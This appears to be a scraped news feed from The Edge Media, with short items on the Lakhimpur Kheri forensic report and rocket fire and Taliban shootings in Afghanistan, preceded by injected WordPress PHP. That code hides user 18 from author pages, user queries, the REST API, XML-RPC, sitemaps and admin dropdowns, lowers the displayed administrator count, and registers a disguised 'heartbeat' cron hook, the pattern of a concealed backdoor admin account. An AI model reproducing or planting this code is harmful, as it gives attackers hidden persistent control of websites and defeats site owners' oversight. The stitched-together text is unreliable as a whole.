add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lakhimpur violence: A forensic investigation reveals that Ashish Mishra’s gun fired a shot appeared first on The Edge Media.
]]>
Both Ashish and Das, who were arrested in connection with the incident and were now being held in the district jail, denied firing their permitted firearms. ”The report of the forensic lab has confirmed that shots were fired from Ashish’s rifle and Ankit’s pistol,” a senior police official said in Lakhimpur Kheri on Tuesday. As per the official, the farmers claimed that the accused men fired shots.
The post Lakhimpur violence: A forensic investigation reveals that Ashish Mishra’s gun fired a shot appeared first on The Edge Media.
]]>The post As the Evacuation of Kabul Draws to a Close, Several Rockets are Fired Towards the Airport appeared first on The Edge Media.
]]>
The missiles were fired from a car in north Kabul, according to a security official who worked in the administration deposed by the Taliban two weeks ago. In the north, where the Hamid Karzai International Airport is located, smoke could be seen rising above buildings.
The post As the Evacuation of Kabul Draws to a Close, Several Rockets are Fired Towards the Airport appeared first on The Edge Media.
]]>The post Several people were killed and injured in the stampede and firing by the Taliban : Report appeared first on The Edge Media.
]]>“Hundreds of people came out on the streets,” Reuters quoted a witness named Mohammed Salim as saying. “At first I was scared and didn’t want to go but when I saw one of my neighbours joined in I took out the flag I have at home.”
“Several people were killed and injured in the stampede and firing by the Taliban,” the witness from the eastern city, the capital of Kunar province, added.
The Taliban has not commented on the incident yet.
The local media has reported about similar protests in the eastern city of Jalalabad and a district of Paktia province with no reports of serious violence.
The post Several people were killed and injured in the stampede and firing by the Taliban : Report appeared first on The Edge Media.
]]>